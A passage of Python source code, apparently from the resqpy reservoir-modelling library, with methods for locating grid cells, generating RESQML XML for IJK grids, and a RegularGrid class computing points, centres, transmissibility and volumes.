> 0 and pillar_i0 < self.ni:\n cell_kji0 = np.array((k0, pillar_j0 - 1, pillar_i0))\n poly = self.poly_line_for_cell(cell_kji0, vertical_ref = vertical_ref)\n if poly is not None and pip.pip_cn(a[0, :2], poly): return (cell_kji0[1], cell_kji0[2])\n if pillar_j0 < self.nj and pillar_i0 > 0:\n cell_kji0 = np.array((k0, pillar_j0, pillar_i0 - 1))\n poly = self.poly_line_for_cell(cell_kji0, vertical_ref = vertical_ref)\n if poly is not None and pip.pip_cn(a[0, :2], poly): return (cell_kji0[1], cell_kji0[2])\n if pillar_j0 < self.nj and pillar_i0 < self.ni:\n cell_kji0 = np.array((k0, pillar_j0, pillar_i0))\n poly = self.poly_line_for_cell(cell_kji0, vertical_ref = vertical_ref)\n if poly is not None and pip.pip_cn(a[0, :2], poly): return (cell_kji0[1], cell_kji0[2])\n return (None, None)\n\n\n def find_cell_for_x_sect_xz(self, x_sect, x, z):\n \"\"\"Returns the (k0, j0) or (k0, i0) indices of the cell containing point x,z in the cross section.\n\n arguments:\n x_sect (numpy float array of shape (nk, nj or ni, 2, 2, 2 or 3): the cross section x,z or x,y,z data\n x, z (floats): the point of interest in the cross section space\n\n note:\n the x_sect data is in the form returned by x_section_corner_points() or split_gap_x_section_points();\n the 2nd of the returned pair is either a J index or I index, whichever was not the axis specified\n when generating the x_sect data; returns (None, None) if point inclusion not detected; if xyz data is\n provided, the y values are ignored; note that the point of interest x,z coordinates are in the space of\n x_sect, so if rotation has occurred, the x value is no longer an easting and is typically picked off a\n cross section plot\n \"\"\"\n\n def test_cell(p, x_sect, k0, ji0):\n poly = np.array([x_sect[k0, ji0, 0, 0, 0:3:2],\n x_sect[k0, ji0, 0, 1, 0:3:2],\n x_sect[k0, ji0, 1, 1, 0:3:2],\n x_sect[k0, ji0, 1, 0, 0:3:2]])\n if np.any(np.isnan(poly)): return False\n return pip.pip_cn(p, poly)\n\n assert x_sect.ndim == 5 and x_sect.shape[2] == 2 and x_sect.shape[3] == 2 and 2 <= x_sect.shape[4] <= 3\n n_k = x_sect.shape[0]\n n_j_or_i = x_sect.shape[1]\n tolerance = 1.0e-3\n\n if x_sect.shape[4] == 3:\n diffs = x_sect[:, :, :, :, 0:3:2].copy() # x,z points only\n else:\n diffs = x_sect.copy()\n diffs -= np.array((x, z))\n diffs = np.sum(diffs * diffs, axis = -1) # square of distance of each point from given x,z\n flat_index = np.nanargmin(diffs)\n min_dist_sqr = diffs.flatten()[flat_index]\n cell_flat_k0_ji0, flat_k_ji_p = divmod(flat_index, 4)\n found_k0, found_ji0 = divmod(cell_flat_k0_ji0, n_j_or_i)\n found_kp, found_jip = divmod(flat_k_ji_p, 2)\n\n found = test_cell((x, z), x_sect, found_k0, found_ji0)\n if found: return found_k0, found_ji0\n # check cells below whilst still close to point\n while found_k0 < n_k - 1:\n found_k0 += 1\n if np.nanmin(diffs[found_k0, found_ji0]) > min_dist_sqr + tolerance: break\n found = test_cell((x, z), x_sect, found_k0, found_ji0)\n if found: return found_k0, found_ji0\n\n # try neighbouring column (in case of fault or point exactly on face)\n ji_neighbour = 1 if found_jip == 1 else -1\n found_ji0 += ji_neighbour\n if 0 <= found_ji0 < n_j_or_i:\n col_diffs = diffs[:, found_ji0]\n flat_index = np.nanargmin(col_diffs)\n if col_diffs.flatten()[flat_index] <= min_dist_sqr + tolerance:\n found_k0 = flat_index // 4\n found = test_cell((x, z), x_sect, found_k0, found_ji0)\n if found: return found_k0, found_ji0\n # check cells below whilst still close to point\n while found_k0 < n_k - 1:\n found_k0 += 1\n if np.nanmin(diffs[found_k0, found_ji0]) > min_dist_sqr + tolerance: break\n found = test_cell((x, z), x_sect, found_k0, found_ji0)\n if found: return found_k0, found_ji0\n\n return None, None\n\n\n def skin(self, use_single_layer_tactics = False):\n \"\"\"Returns a GridSkin composite surface object reoresenting the outer surface of the grid.\"\"\"\n\n import resqpy.grid_surface as rqgs\n\n # could cache 2 versions (with and without single layer tactics)\n if self.grid_skin is None or self.grid_skin.use_single_layer_tactics != use_single_layer_tactics:\n self.grid_skin = rqgs.GridSkin(self, use_single_layer_tactics = use_single_layer_tactics)\n return self.grid_skin\n\n\n def create_xml(self, ext_uuid = None, add_as_part = True, add_relationships = True, set_as_grid_root = True,\n title = None, originator = None, write_active = True, write_geometry = True,\n extra_metadata = {}):\n \"\"\"Creates an IJK grid node from a grid object and optionally adds as child of root and/or to parts forest.\n\n arguments:\n ext_uuid (uuid.UUID): the uuid of the hdf5 external part holding the array data for the grid geometry\n add_as_part (boolean, default True): if True, the newly created xml node is added as a part\n in the model\n add_relationships (boolean, default True): if True, relationship xml parts are created relating the\n new grid part to: the crs, and the hdf5 external part\n set_as_grid_root (boolean, default True): if True, the new grid node is noted as being the 'main' grid\n for the model\n title (string, default 'ROOT'): used as the citation Title text; careful consideration should be given\n to this argument when dealing with multiple grids in one model, as it is the means by which a\n human will distinguish them\n originator (string, optional): the name of the human being who created the ijk grid part;\n default is to use the login name\n write_active (boolean, default True): if True, xml for an active cell property is also generated, but\n only if the active_property_uuid is set and no part exists in the model for that uuid\n write_geometry (boolean, default True): if False, the geometry node is omitted from the xml\n extra_metadata (dict): any key value pairs in this dictionary are added as extra metadata xml nodes\n\n returns:\n the newly created ijk grid xml node\n\n notes:\n this code has the concept of a 'main' grid for a model, which resqml does not; it is vaguely\n equivalent to a 'root' grid in a simulation model\n the write_active argument should generally be set to the same value as that passed to the write_hdf5... method;\n the RESQML standard allows the geometry to be omitted for a grid, controlled here by the write_geometry argument;\n the explicit geometry may be omitted for regular grids, in which case the arrays should not be written to the hdf5\n file either\n\n :meta common:\n \"\"\"\n\n if ext_uuid is None: ext_uuid = self.model.h5_uuid()\n if title: self.title = title\n if not self.title: self.title = 'ROOT'\n\n ijk = super().create_xml(add_as_part = False, originator = originator, extra_metadata = extra_metadata)\n\n if self.grid_representation and not write_geometry:\n rqet.create_metadata_xml(node = ijk, extra_metadata = {'grid_flavour': self.grid_representation})\n\n ni_node = rqet.SubElement(ijk, ns['resqml2'] + 'Ni')\n ni_node.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n ni_node.text = str(self.extent_kji[2])\n\n nj_node = rqet.SubElement(ijk, ns['resqml2'] + 'Nj')\n nj_node.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n nj_node.text = str(self.extent_kji[1])\n\n nk_node = rqet.SubElement(ijk, ns['resqml2'] + 'Nk')\n nk_node.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n nk_node.text = str(self.extent_kji[0])\n\n if self.k_gaps:\n\n kg_node = rqet.SubElement(ijk, ns['resqml2'] + 'KGaps')\n kg_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'KGaps')\n kg_node.text = '\\n'\n\n kgc_node = rqet.SubElement(kg_node, ns['resqml2'] + 'Count')\n kgc_node.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n kgc_node.text = str(self.k_gaps)\n\n assert self.k_gap_after_array.ndim == 1 and self.k_gap_after_array.size == self.nk - 1\n\n kgal_node = rqet.SubElement(kg_node, ns['resqml2'] + 'GapAfterLayer')\n kgal_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'BooleanHdf5Array')\n kgal_node.text = '\\n'\n\n kgal_values = rqet.SubElement(kgal_node, ns['resqml2'] + 'Values')\n kgal_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n kgal_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'GapAfterLayer', root = kgal_values)\n\n if self.parent_window is not None:\n\n pw_node = rqet.SubElement(ijk, ns['resqml2'] + 'ParentWindow')\n pw_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'IjkParentWindow')\n pw_node.text = '\\n'\n\n assert self.parent_grid_uuid is not None\n parent_grid_root = self.model.root(uuid = self.parent_grid_uuid)\n if parent_grid_root is None: pg_title = 'ParentGrid'\n else: pg_title = rqet.citation_title_for_node(parent_grid_root)\n self.model.create_ref_node('ParentGrid',\n pg_title,\n self.parent_grid_uuid,\n content_type = 'obj_IjkGridRepresentation', root = pw_node)\n\n for axis in range(3):\n\n regrid_node = rqet.SubElement(pw_node,'KJI'[axis] + 'Regrid')\n regrid_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'Regrid')\n regrid_node.text = '\\n'\n\n if self.is_refinement:\n if self.parent_window.within_coarse_box is None:\n iiopg = 0 # InitialIndexOnParentGrid\n else:\n iiopg = self.parent_window.within_coarse_box[0, axis]\n else:\n if self.parent_window.within_fine_box is None:\n iiopg = 0\n else:\n iiopg = self.parent_window.within_fine_box[0, axis]\n iiopg_node = rqet.SubElement(regrid_node, ns['resqml2'] + 'InitialIndexOnParentGrid')\n iiopg_node.set(ns['xsi'] + 'type', ns['xsd'] + 'nonNegativeInteger')\n iiopg_node.text = str(iiopg)\n\n if self.parent_window.fine_extent_kji[axis] == self.parent_window.coarse_extent_kji[axis]: continue # one-to-noe mapping\n\n intervals_node = rqet.SubElement(regrid_node, ns['resqml2'] + 'Intervals')\n intervals_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'Intervals')\n intervals_node.text = '\\n'\n\n if self.parent_window.constant_ratios[axis] is not None:\n interval_count = 1\n else:\n if self.is_refinement:\n interval_count = self.parent_window.coarse_extent_kji[axis]\n else:\n interval_count = self.parent_window.fine_extent_kji[axis]\n ic_node = rqet.SubElement(intervals_node, ns['resqml2'] + 'IntervalCount')\n ic_node.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n ic_node.text = str(interval_count)\n\n pcpi_node = rqet.SubElement(intervals_node, ns['resqml2'] + 'ParentCountPerInterval')\n pcpi_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'IntegerHdf5Array')\n pcpi_node.text = '\\n'\n\n pcpi_values = rqet.SubElement(pcpi_node, ns['resqml2'] + 'Values')\n pcpi_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n pcpi_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'KJI'[axis] + 'Regrid/ParentCountPerInterval', root = pcpi_values)\n\n ccpi_node = rqet.SubElement(intervals_node, ns['resqml2'] + 'ChildCountPerInterval')\n ccpi_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'IntegerHdf5Array')\n ccpi_node.text = '\\n'\n\n ccpi_values = rqet.SubElement(ccpi_node, ns['resqml2'] + 'Values')\n ccpi_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n ccpi_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'KJI'[axis] + 'Regrid/ChildCountPerInterval', root = ccpi_values)\n\n if self.is_refinement and not self.parent_window.equal_proportions[axis]:\n\n ccw_node = rqet.SubElement(intervals_node, ns['resqml2'] + 'ChildCellWeights')\n ccw_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'DoubleHdf5Array')\n ccw_node.text = rqet.null_xml_text\n\n ccw_values_node = rqet.SubElement(ccw_node, ns['resqml2'] + 'Values')\n ccw_values_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'Hdf5Dataset')\n ccw_values_node.text = rqet.null_xml_text\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'KJI'[axis] + 'Regrid/ChildCellWeights', root = ccw_values_node)\n\n # todo: handle omit and cell overlap functionality as part of parent window refining or coarsening\n\n if write_geometry:\n\n geom = rqet.SubElement(ijk, ns['resqml2'] + 'Geometry')\n geom.set(ns['xsi'] + 'type', ns['resqml2'] + 'IjkGridGeometry')\n geom.text = '\\n'\n\n # the remainder of this function is populating the geometry node\n self.model.create_crs_reference(crs_uuid = self.crs_uuid, root = geom)\n\n k_dir = rqet.SubElement(geom, ns['resqml2'] + 'KDirection')\n k_dir.set(ns['xsi'] + 'type', ns['resqml2'] + 'KDirection')\n if self.k_direction_is_down: k_dir.text = 'down'\n else: k_dir.text = 'up'\n\n handed = rqet.SubElement(geom, ns['resqml2'] + 'GridIsRighthanded')\n handed.set(ns['xsi'] + 'type', ns['xsd'] + 'boolean')\n handed.text = str(self.grid_is_right_handed).lower()\n\n p_shape = rqet.SubElement(geom, ns['resqml2'] + 'PillarShape')\n p_shape.set(ns['xsi'] + 'type', ns['resqml2'] + 'PillarShape')\n p_shape.text = self.pillar_shape\n\n points_node = rqet.SubElement(geom, ns['resqml2'] + 'Points')\n points_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'Point3dHdf5Array')\n points_node.text = '\\n'\n\n coords = rqet.SubElement(points_node, ns['resqml2'] + 'Coordinates')\n coords.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n coords.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'Points', root = coords)\n\n if always_write_pillar_geometry_is_defined_array or not self.geometry_defined_for_all_pillars(cache_array = True):\n\n pillar_def = rqet.SubElement(geom, ns['resqml2'] + 'PillarGeometryIsDefined')\n pillar_def.set(ns['xsi'] + 'type', ns['resqml2'] + 'BooleanHdf5Array')\n pillar_def.text = '\\n'\n\n pd_values = rqet.SubElement(pillar_def, ns['resqml2'] + 'Values')\n pd_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n pd_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'PillarGeometryIsDefined', root = pd_values)\n\n else:\n\n pillar_def = rqet.SubElement(geom, ns['resqml2'] + 'PillarGeometryIsDefined')\n pillar_def.set(ns['xsi'] + 'type', ns['resqml2'] + 'BooleanConstantArray')\n pillar_def.text = '\\n'\n\n pd_value = rqet.SubElement(pillar_def, ns['resqml2'] + 'Value')\n pd_value.set(ns['xsi'] + 'type', ns['xsd'] + 'boolean')\n pd_value.text = 'true'\n\n pd_count = rqet.SubElement(pillar_def, ns['resqml2'] + 'Count')\n pd_count.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n pd_count.text = str((self.extent_kji[1] + 1) * (self.extent_kji[2] + 1))\n\n if always_write_cell_geometry_is_defined_array or not self.geometry_defined_for_all_cells(cache_array = True):\n\n cell_def = rqet.SubElement(geom, ns['resqml2'] + 'CellGeometryIsDefined')\n cell_def.set(ns['xsi'] + 'type', ns['resqml2'] + 'BooleanHdf5Array')\n cell_def.text = '\\n'\n\n cd_values = rqet.SubElement(cell_def, ns['resqml2'] + 'Values')\n cd_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n cd_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'CellGeometryIsDefined', root = cd_values)\n\n else:\n\n cell_def = rqet.SubElement(geom, ns['resqml2'] + 'CellGeometryIsDefined')\n cell_def.set(ns['xsi'] + 'type', ns['resqml2'] + 'BooleanConstantArray')\n cell_def.text = '\\n'\n\n cd_value = rqet.SubElement(cell_def, ns['resqml2'] + 'Value')\n cd_value.set(ns['xsi'] + 'type', ns['xsd'] + 'boolean')\n cd_value.text = 'true'\n\n cd_count = rqet.SubElement(cell_def, ns['resqml2'] + 'Count')\n cd_count.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n cd_count.text = str(self.nk * self.nj * self.ni)\n\n if self.has_split_coordinate_lines:\n\n scl = rqet.SubElement(geom, ns['resqml2'] + 'SplitCoordinateLines')\n scl.set(ns['xsi'] + 'type', ns['resqml2'] + 'ColumnLayerSplitCoordinateLines')\n scl.text = '\\n'\n\n scl_count = rqet.SubElement(scl, ns['resqml2'] + 'Count')\n scl_count.set(ns['xsi'] + 'type', ns['xsd'] + 'positiveInteger')\n scl_count.text = str(self.split_pillars_count)\n\n pi_node = rqet.SubElement(scl, ns['resqml2'] + 'PillarIndices')\n pi_node.set(ns['xsi'] + 'type', ns['resqml2'] + 'IntegerHdf5Array')\n pi_node.text = '\\n'\n\n pi_null = rqet.SubElement(pi_node, ns['resqml2'] + 'NullValue')\n pi_null.set(ns['xsi'] + 'type', ns['xsd'] + 'integer')\n pi_null.text = str((self.extent_kji[1] + 1) * (self.extent_kji[2] + 1))\n\n pi_values = rqet.SubElement(pi_node, ns['resqml2'] + 'Values')\n pi_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n pi_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'PillarIndices', root = pi_values)\n\n cpscl = rqet.SubElement(scl, ns['resqml2'] + 'ColumnsPerSplitCoordinateLine')\n cpscl.set(ns['xsi'] + 'type', ns['resqml2'] + 'ResqmlJaggedArray')\n cpscl.text = '\\n'\n\n elements = rqet.SubElement(cpscl, ns['resqml2'] + 'Elements')\n elements.set(ns['xsi'] + 'type', ns['resqml2'] + 'IntegerHdf5Array')\n elements.text = '\\n'\n\n el_null = rqet.SubElement(elements, ns['resqml2'] + 'NullValue')\n el_null.set(ns['xsi'] + 'type', ns['xsd'] + 'integer')\n el_null.text = str(self.extent_kji[1] * self.extent_kji[2])\n\n el_values = rqet.SubElement(elements, ns['resqml2'] + 'Values')\n el_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n el_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'ColumnsPerSplitCoordinateLine/elements', root = el_values)\n\n c_length = rqet.SubElement(cpscl, ns['resqml2'] + 'CumulativeLength')\n c_length.set(ns['xsi'] + 'type', ns['resqml2'] + 'IntegerHdf5Array')\n c_length.text = '\\n'\n\n cl_null = rqet.SubElement(c_length, ns['resqml2'] + 'NullValue')\n cl_null.set(ns['xsi'] + 'type', ns['xsd'] + 'integer')\n cl_null.text = '0'\n\n cl_values = rqet.SubElement(c_length, ns['resqml2'] + 'Values')\n cl_values.set(ns['xsi'] + 'type', ns['eml'] + 'Hdf5Dataset')\n cl_values.text = '\\n'\n\n self.model.create_hdf5_dataset_ref(ext_uuid, self.uuid, 'ColumnsPerSplitCoordinateLine/cumulativeLength', root = cl_values)\n\n if add_as_part:\n self.model.add_part('obj_IjkGridRepresentation', self.uuid, ijk)\n if add_relationships:\n if write_geometry:\n # create 2 way relationship between IjkGrid and Crs\n self.model.create_reciprocal_relationship(ijk, 'destinationObject', self.crs_root, 'sourceObject')\n # create 2 way relationship between IjkGrid and Ext\n ext_part = rqet.part_name_for_object('obj_EpcExternalPartReference', ext_uuid, prefixed = False)\n ext_node = self.model.root_for_part(ext_part)\n self.model.create_reciprocal_relationship(ijk, 'mlToExternalPartProxy', ext_node, 'externalPartProxyToMl')\n # create relationship with parent grid\n if self.parent_window is not None and self.parent_grid_uuid is not None:\n self.model.create_reciprocal_relationship(ijk, 'destinationObject',\n self.model.root_for_uuid(self.parent_grid_uuid), 'sourceObject')\n\n if write_active and self.active_property_uuid is not None and self.model.part(uuid = self.active_property_uuid) is None:\n active_collection = rprop.PropertyCollection()\n active_collection.set_support(support = self)\n active_collection.create_xml(None, None, 'ACTIVE', 'active',\n p_uuid = self.active_property_uuid,\n discrete = True,\n add_min_max = False,\n find_local_property_kinds = True)\n\n return ijk\n\n# end of Grid class\n\n\nclass RegularGrid(Grid):\n \"\"\"Class for completely regular block grids aligned with xyz axes.\"\"\"\n\n # For now generate a standard unsplit pillar grid\n # todo: use RESQML lattice like geometry specification\n\n def __init__(self, parent_model, extent_kji = None, dxyz = None, dxyz_dkji = None, origin = (0.0, 0.0, 0.0),\n crs_uuid = None, use_vertical = False, mesh = None, mesh_dz_dk = 1.0, uuid = None,\n set_points_cached = False, find_properties = True,\n title = None, originator = None, extra_metadata = {}):\n \"\"\"Creates a regular grid object based on dxyz, or derived from a Mesh object.\n\n arguments:\n parent_model (model.Model object): the model to which the new grid will be assigned\n extent_kji (triple positive integers, optional): the number of cells in the grid (nk, nj, ni);\n required unless grid_root is present\n dxyz (triple float, optional): use when the I,J,K axes align with the x,y,z axes (possible with inverted\n directions); the size of each cell (dx, dy, dz); values may be negative\n dxyz_dkji (numpy float array of shape (3, 3), optional): how x,y,z values increase with each step in each\n direction K,J,I; first index is KJI, second index is xyz; only one of dxyz, dxyz_dkji and mesh should be\n present; NB axis ordering is different to that used in Mesh class for dxyz_dij\n origin (triple float, default (0.0, 0.0, 0.0)): the location in the local coordinate space of the crs of\n the 'first' corner point of the grid\n crs_uuid (uuid.UUID, optional): the uuid of the coordinate reference system for the grid\n use_vertical (boolean, default False): if True and the pillars of the regular grid are vertical then a\n pillar shape of 'vertical' is used; if False (or the pillars are not vertical), then a pillar shape of\n 'straight' is used\n mesh (surface.Mesh object, optional): if present, the I,J layout of the grid is based on the mesh, which\n must be regular, and the K cell size is given by the mesh_dz_dk argument; if present, then dxyz and\n dxyz_dkji must be None\n mesh_dz_dk (float, default 1.0): the size of cells in the K axis, which is aligned with the z axis, when\n starting from a mesh; ignored if mesh is None\n uuid (optional): the root of the xml tree for the grid part; if present, the RegularGrid object is\n based on existing data or a mix of that data and other arguments where present\n set_points_cached (boolean, default False): if True, an explicit geometry is created for the regular grid\n in the form of the cached points array\n find_properties (boolean, default True): if True and grid_root is not None, a grid property collection is\n instantiated as an attribute, holding properties for which this grid is the supporting representation\n title (str, optional): citation title for new grid; ignored if loading from xml\n originator (str, optional): name of person creating the grid; defaults to login id;\n ignored if loading from xml\n extra_metadata (dict, optional): dictionary of extra metadata items to add to the grid;\n ignored if loading from xml\n\n returns:\n a newly created RegularGrid object with inheritance from the Grid class\n\n notes:\n the RESQML standard allows for regular grid geometry pillars to be stored as parametric lines\n but that is not yet supported by this code base; however, constant dx, dy, dz arrays are supported;\n alternatively, regular meshes (Grid2d) may be stored in parameterized form and used to generate a\n regular grid here;\n if root_grid, dxyz, dxyz_dkji and mesh arguments are all None then unit cube cells aligned with\n the x,y,z axes will be generated;\n to store the geometry explicitly use the following methods: make_regular_points_cached(), write_hdf5(),\n create_xml(..., write_geometry = True);\n otherwise, avoid write_hdf5() and call create_xml(..., write_geometry = False)\n\n :meta common:\n \"\"\"\n\n if uuid is None:\n super().__init__(parent_model)\n self.grid_representation = 'IjkBlockGrid' # this is not RESQML and might cause issues elsewhere; revert to IjkGrid if needed\n self.extent_kji = np.array(extent_kji).copy()\n self.nk, self.nj, self.ni = self.extent_kji\n self.k_direction_is_down = True # assumed direction\n self.grid_is_right_handed = False # todo: work it out from dxyz_dkji and crs xyz handedness\n self.has_split_coordinate_lines = False\n self.k_gaps = None\n self.k_gap_after_array = None\n self.k_raw_index_array = None\n self.inactive = None\n self.all_inactive = None\n self.geometry_defined_for_all_cells_cached = True\n self.geometry_defined_for_all_pillars_cached = True\n self.array_cell_geometry_is_defined = np.full(tuple(self.extent_kji), True, dtype = bool)\n else:\n assert is_regular_grid(parent_model.root_for_uuid(uuid))\n super().__init__(parent_model, uuid = uuid, find_properties = find_properties, geometry_required = False,\n title = title, originator = originator, extra_metadata = extra_metadata)\n self.grid_representation = 'IjkBlockGrid'\n if dxyz is None and dxyz_dkji is None:\n # find cell length properties and populate dxyz from those values\n assert self.property_collection is not None\n dxi_part = self.property_collection.singleton(property_kind = 'cell length', facet_type = 'direction', facet = 'I')\n dyj_part = self.property_collection.singleton(property_kind = 'cell length', facet_type = 'direction', facet = 'J')\n dzk_part = self.property_collection.singleton(property_kind = 'cell length', facet_type = 'direction', facet = 'K')\n assert dxi_part is not None and dyj_part is not None and dzk_part is not None\n dxi = float(self.property_collection.constant_value_for_part(dxi_part))\n dyj = float(self.property_collection.constant_value_for_part(dyj_part))\n dzk = float(self.property_collection.constant_value_for_part(dzk_part))\n assert dxi is not None and dyj is not None and dzk is not None\n dxyz = (dxi, dyj, dzk)\n if crs_uuid is None: self.crs_uuid\n\n if mesh is not None:\n assert mesh.flavour == 'regular'\n assert dxyz is None and dxyz_dkji is None\n origin = mesh.regular_origin\n dxyz_dkji = np.empty((3, 3))\n dxyz_dkji[0, :] = mesh_dz_dk\n dxyz_dkji[1, :] = mesh.regular_dxyz_dij[1] # J axis\n dxyz_dkji[2, :] = mesh.regular_dxyz_dij[0] # I axis\n if crs_uuid is None:\n crs_uuid = mesh.crs_uuid\n else:\n assert bu.matching_uuids(crs_uuid, mesh.crs_uuid)\n\n assert dxyz is None or dxyz_dkji is None\n if dxyz is None and dxyz_dkji is None: dxyz = (1.0, 1.0, 1.0)\n if dxyz_dkji is None: dxyz_dkji = np.array([[0.0, 0.0, dxyz[2]], [0.0, dxyz[1], 0.0], [dxyz[0], 0.0, 0.0]])\n self.block_origin = np.array(origin).copy()\n self.block_dxyz_dkji = np.array(dxyz_dkji).copy()\n if use_vertical and dxyz_dkji[0][0] == 0.0 and dxyz_dkji[0][1] == 0.0: # ie. no x,y change with k\n self.pillar_shape = 'vertical'\n else:\n self.pillar_shape = 'straight'\n\n if set_points_cached: self.make_regular_points_cached()\n\n if crs_uuid is None:\n self.crs_root = parent_model.create_crs(add_as_part = True)\n self.crs_uuid = bu.uuid_from_string(self.crs_root.attrib['uuid'])\n else:\n self.crs_root = parent_model.root_for_uuid(crs_uuid)\n self.crs_uuid = crs_uuid\n\n if self.uuid is None: self.uuid = bu.new_uuid()\n\n\n def make_regular_points_cached(self):\n \"\"\"Set up the cached points array as an explicit representation of the regular grid geometry.\"\"\"\n\n if hasattr(self, 'points_cached') and self.points_cached is not None: return\n self.points_cached = np.zeros((self.nk + 1, self.nj + 1, self.ni + 1, 3))\n # todo: replace for loops with linspace\n for k in range(self.nk): self.points_cached[k + 1, 0, 0] = self.points_cached[k, 0, 0] + self.block_dxyz_dkji[0]\n for j in range(self.nj): self.points_cached[:, j + 1, 0] = self.points_cached[:, j, 0] + self.block_dxyz_dkji[1]\n for i in range(self.ni): self.points_cached[:, :, i + 1] = self.points_cached[:, :, i] + self.block_dxyz_dkji[2]\n self.points_cached[:, :, :] += self.block_origin\n\n\n def axial_lengths_kji(self):\n \"\"\"Returns a triple float being lengths of primary axes (K, J, I) for each cell.\"\"\"\n\n return vec.naive_lengths(self.block_dxyz_dkji)\n\n\n # override of Grid methods\n\n def point_raw(self, index = None, points_root = None, cache_array = True):\n \"\"\"Returns element from points data, indexed as corner point (k0, j0, i0); can optionally be used to cache points data.\n\n arguments:\n index (3 integers, optional): if not None, the index into the raw points data for the point of interest\n points_root (ignored)\n cache_array (boolean, default True): if True, the raw points data is cached in memory as a side effect\n\n returns:\n (x, y, z) of selected point as a 3 element numpy vector, or None if index is None\n\n notes:\n this function is typically called either to cache the points data in memory, or to fetch the coordinates of\n a single corner point;\n the index should be a triple kji0 with axes ranging over the shared corners nk+1, nj+1, ni+1\n \"\"\"\n\n assert cache_array or index is not None\n\n if cache_array:\n self.make_regular_points_cached()\n if index is None: return None\n return self.points_cached[tuple(index)]\n\n return self.block_origin + np.sum(np.repeat(np.array(index).reshape((3, 1)), 3, axis = -1) * self.block_dxyz_dkji, axis = 0)\n\n\n def half_cell_transmissibility(self, use_property = None, realization = None, tolerance = None):\n \"\"\"Returns (and caches if realization is None) half cell transmissibilities for this regular grid.\n\n arguments:\n use_property (ignored)\n realization (int, optional) if present, only a property with this realization number will be used\n tolerance (ignored)\n\n returns:\n numpy float array of shape (nk, nj, ni, 3, 2) where the 3 covers K,J,I and the 2 covers the\n face polarity: - (0) and + (1); units will depend on the length units of the coordinate reference\n system for the grid; the units will be m3.cP/(kPa.d) or bbl.cP/(psi.d) for grid length units of m\n and ft respectively\n\n notes:\n the values for - and + polarity will always be equal, the data is duplicated for compatibility with\n parent Grid class;\n the returned array is in the logical resqpy arrangement; it must be discombobulated before being\n added as a property; this method does not write to hdf5, nor create a new property or xml;\n if realization is None, a grid attribute cached array will be used\n \"\"\"\n\n # todo: allow passing of property uuids for ntg, k_k, j, i\n\n if realization is None and hasattr(self, 'array_half_cell_t'): return self.array_half_cell_t\n\n half_t = rqtr.half_cell_t(self, realization = realization) # note: properties must be identifiable in property_collection\n\n # introduce facial polarity axis for compatibility with parent Grid class\n assert half_t.ndim == 4\n half_t = np.expand_dims(half_t, -1)\n half_t = np.repeat(half_t, 2, axis = -1)\n\n if realization is None: self.array_half_cell_t = half_t\n\n return half_t\n\n\n def centre_point(self, cell_kji0 = None):\n \"\"\"Returns centre point of a cell or array of centre points of all cells.\n\n arguments:\n cell_kji0 (optional): if present, the (k, j, i) indices of the individual cell for which the\n centre point is required; zero based indexing\n cache_centre_array (boolean, default False): If True, or cell_kji0 is None, an array of centre points\n is generated and added as an attribute of the grid, with attribute name array_centre_point\n\n returns:\n (x, y, z) 3 element numpy array of floats holding centre point of cell;\n or numpy 3+1D array if cell_kji0 is None\n\n note:\n resulting coordinates are in the same (local) crs as the grid points\n \"\"\"\n\n if cell_kji0 is not None:\n float_kji0 = np.array(cell_kji0, dtype = float) + 0.5\n centre = self.block_origin + np.sum(self.block_dxyz_dkji * np.expand_dims(float_kji0, axis = -1).repeat(3, axis = -1), axis = 0)\n return centre\n\n centres = np.zeros((self.nk, self.nj, self.ni, 3))\n # todo: replace for loops with linspace\n for k in range(self.nk - 1): centres[k + 1, 0, 0] = centres[k, 0, 0] + self.block_dxyz_dkji[0]\n for j in range(self.nj - 1): centres[:, j + 1, 0] = centres[:, j, 0] + self.block_dxyz_dkji[1]\n for i in range(self.ni - 1): centres[:, :, i + 1] = centres[:, :, i] + self.block_dxyz_dkji[2]\n centres += self.block_origin + 0.5 * np.sum(self.block_dxyz_dkji, axis = 0)\n return centres\n\n\n def volume(self, cell_kji0 = None):\n \"\"\"Returns bulk rock volume of cell or numpy array of bulk rock volumes for all cells.\n\n arguments:\n cell_kji0 (optional): if present, the (k, j, i) indices of the individual cell for which the\n volume is required; zero based indexing\n\n returns:\n float, being the volume of cell identified by cell_kji0;\n or numpy float array of shape (nk, nj, ni) if cell_kji0 is 